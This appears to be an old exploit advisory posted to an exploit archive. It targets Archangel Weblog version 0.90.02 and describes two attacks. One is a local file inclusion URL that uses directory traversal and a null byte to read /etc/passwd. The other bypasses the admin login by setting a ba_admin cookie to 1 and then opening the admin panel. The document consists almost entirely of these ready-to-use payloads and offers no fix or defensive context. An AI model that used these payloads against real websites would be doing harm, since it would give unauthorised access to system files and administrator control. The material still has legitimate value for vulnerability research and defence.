42 lines
No EOL
1.4 KiB
Text
42 lines
No EOL
1.4 KiB
Text
\\\|///
|
|
\\ - - //
|
|
( @ @ )
|
|
----oOOo--(_)-oOOo--------------------------------------------------
|
|
Portal : Archangel Weblog version 0.90.02
|
|
Home : http://www.archangelmgt.com/weblog.shtml
|
|
Download : http://www.archangelmgt.com/Archangel_Weblog_v090_02.zip
|
|
Author : Dj7xpl / Dj7xpl@2600.ir
|
|
HomePage : http://Dj7xpl.2600.ir
|
|
Type : Local File Inclusion & Login Page Bypass By Cookie
|
|
----ooooO-----Ooooo--------------------------------------------------
|
|
( ) ( )
|
|
\ ( ) /
|
|
\_) (_/
|
|
|
|
|
|
|
|
+---------------------------------------------------------------------------------------------+
|
|
|
|
Local File Include :
|
|
|
|
http://[TARGET]/[PATH]/index.php?index=[Local File]%00
|
|
http://Target.com/blog/index.php?index=../../../../etc/passwd%00
|
|
|
|
+---------------------------------------------------------------------------------------------+
|
|
|
|
|
|
+---------------------------------------------------------------------------------------------+
|
|
|
|
Edit Cookie :
|
|
|
|
Host : Target
|
|
Name : ba_admin
|
|
Value : 1 <------ (Admin User Id)
|
|
|
|
And Go To Admin Panel :
|
|
|
|
http://[Target]/[Path]/Admin/
|
|
|
|
+---------------------------------------------------------------------------------------------+
|
|
|
|
# milw0rm.com [2007-05-05] |